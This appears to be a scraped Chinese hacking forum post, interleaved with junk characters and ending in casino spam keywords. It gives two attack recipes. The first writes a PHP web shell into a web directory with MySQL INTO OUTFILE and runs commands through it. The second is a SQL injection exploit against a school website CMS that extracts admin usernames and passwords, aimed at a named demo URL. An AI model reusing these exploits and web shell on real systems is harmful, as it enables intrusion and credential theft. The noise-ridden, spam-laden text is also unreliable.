DROP TABLE IF EXISTS study;# MySQL 返回的查询结果为空(即零行)。
5 T, a9 {7 \1 M+ z1 F9 M方法四：
7 z, T/ j; l8 Iselect load_file('E:/xamp/www/study.php');
" Y  |! K( W7 v4 c, R9 S- w& tselect '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
9 I, l" A# h6 G* j然后访问网站目录：http://www.2cto.com/study.php?cmd=dir
3 X1 S) q2 D* @-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
6 c3 N0 s+ r. v& ?2 X- `: I( i- Q. K
; [. A* T0 y# b% B( s! q) qNO.001中学网站管理系统 Build 110628 注入漏洞
( P7 {5 r( J% g3 u
NO.001中学网站管理系统功能模块:
+ g( ~# h& X$ v1.管理员资料:网站的基本信息设置（校长邮箱等）,数据库备份,用户管理、部门及权限管理等
8 p) _' P! k$ S2 N2.学校简介:一级分类，可以添加校园简介,领导致辞、校园风光、联系我们。。。等信息
8 v" m1 l6 A9 C+ a3.文章管理:二级分类,动态添加各相关频道（图片视频频道、学校概况频道除外）文章等信息
4.视频图片管理:一级分类,动态添加视频或者图片等信息
# c, B5 `2 X' V3 ~6 ^# g+ ~5.留言管理:对留言,修改,删除、回复等管理
% Y+ X/ `* E2 k* C# P9 q6.校友频道:包括校友资料excel导出、管理等功能
8 ]- D5 f: P3 i5 q9 }$ j; B2 d7.友情链接管理:二级分类，能建立不同种类的友情链接显示在首页
默认后台:admin/login.asp
官方演示:http://demo.001cms.net
2 g8 ]7 i% a  P# M" v/ A3 @源码下载地址:http://down.chinaz.com/soft/30187.htm
) |  O' n2 [3 n( h8 G, pEXP:
5 p6 R. G1 r) i9 O& I$ T0 Uunion select 1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin
4 X6 S$ R1 x" f9 ^, A测试:http://demo.001cms.net/shownews.asp?type=新闻动态&stype=校务公开&id=484 union select 1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin
getshell:后台有备份，你懂的
7 R$ h3 V/ i1 q1 n8 P另:FCK编辑器有几处可利用.大家自己行挖掘,由于相关内容较多，我在这里就不说了。
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

casino slots
online casino canada
new online casino
slot machines